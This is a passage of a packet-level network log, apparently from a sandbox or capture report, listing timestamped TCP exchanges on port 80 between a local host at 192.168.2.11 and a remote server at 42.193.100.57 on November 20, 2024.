Nov 20, 2024 09:14:47.658947945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658952951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.658956051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658962965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658968925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658974886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658986092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658993959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659013987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659043074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659125090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659137964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659149885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659190893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659204960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659279108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659291029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659301996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659322977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659331083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659343004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659367085 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659440041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659452915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659463882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659475088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659486055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659487963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659497023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659507990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659518957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659519911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659533024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659538984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659547091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659569025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659594059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659786940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659799099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659842968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.659950018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659964085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.659997940 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660031080 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660212994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660223961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660235882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660245895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660258055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660258055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660274029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660314083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660521984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660531998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660545111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660556078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660567045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660573006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660582066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660605907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660619020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660691977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660702944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660713911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660725117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660729885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660737991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660761118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660788059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660830975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660842896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660854101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.660875082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.660902023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661021948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661035061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661058903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661072016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661185026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661195993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661206961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661220074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661231041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661232948 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661242962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661253929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661267042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661273956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661277056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661299944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661325932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661333084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661345005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661355019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661374092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661407948 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661725998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661736012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661765099 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661787033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661894083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661906958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661917925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661928892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661938906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661948919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661950111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.661962032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.661978006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.662012100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.662066936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662085056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662096024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662107944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662113905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.662118912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662132978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662143946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662151098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.662182093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.662514925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662528992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662579060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.662672997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662684917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662695885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662707090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662722111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.662749052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.662826061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662837982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662848949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.662870884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.662898064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663291931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663304090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663321972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663335085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663338900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663347960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663360119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663364887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663429976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663433075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663469076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663635969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663647890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663660049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663670063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663681030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663683891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663693905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663705111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663712978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663717031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663726091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663729906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663743019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663765907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663785934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663789034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663801908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663814068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663822889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663826942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663836956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.663851023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.663877964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859455109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859522104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859533072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859539032 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859559059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859572887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859584093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859587908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859611988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859617949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859644890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859652996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859684944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859689951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859704018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859714985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859733105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859733105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859745979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859759092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859786034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859787941 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859821081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859895945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859906912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859925985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859935999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859946966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859954119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859967947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859975100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859986067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.859992981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.859997988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860030890 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860057116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860085011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860095024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860105991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860116959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860125065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860129118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860153913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860177994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860207081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860218048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860229015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860239983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860250950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860251904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860277891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860304117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860305071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860316038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860347986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860378981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860392094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860441923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860449076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860452890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860465050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860476017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860486031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860491991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860497952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860507965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860523939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860553980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860625982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860637903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860647917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860658884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860666990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860670090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860682011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860691071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860693932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860706091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860718966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860718966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860738993 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860759974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860768080 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860793114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860894918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860907078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860918045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860929012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860938072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860939026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860951900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860963106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860965014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.860975981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.860992908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861018896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861051083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861052990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861068010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861079931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861088991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861090899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861119986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861126900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861140013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861144066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861151934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861165047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861172915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861176014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861187935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861201048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861224890 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861262083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861272097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861309052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861351967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861362934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861371040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861411095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861454964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861465931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861478090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861488104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861488104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861500025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861502886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861514091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861525059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861526012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861556053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861593962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861605883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861624002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861635923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861639977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861648083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861659050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861665010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861671925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861696005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861697912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861713886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861741066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861841917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861854076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861865044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861876011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861886978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861897945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861901045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861910105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861917973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861922026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861942053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861947060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861958981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861963034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.861972094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.861994028 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.862024069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.862082005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862095118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862107038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862118006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862124920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.862128973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862137079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862143040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862149954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862155914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862163067 CET	80	49701	42.193.100.57	192.168.2.11
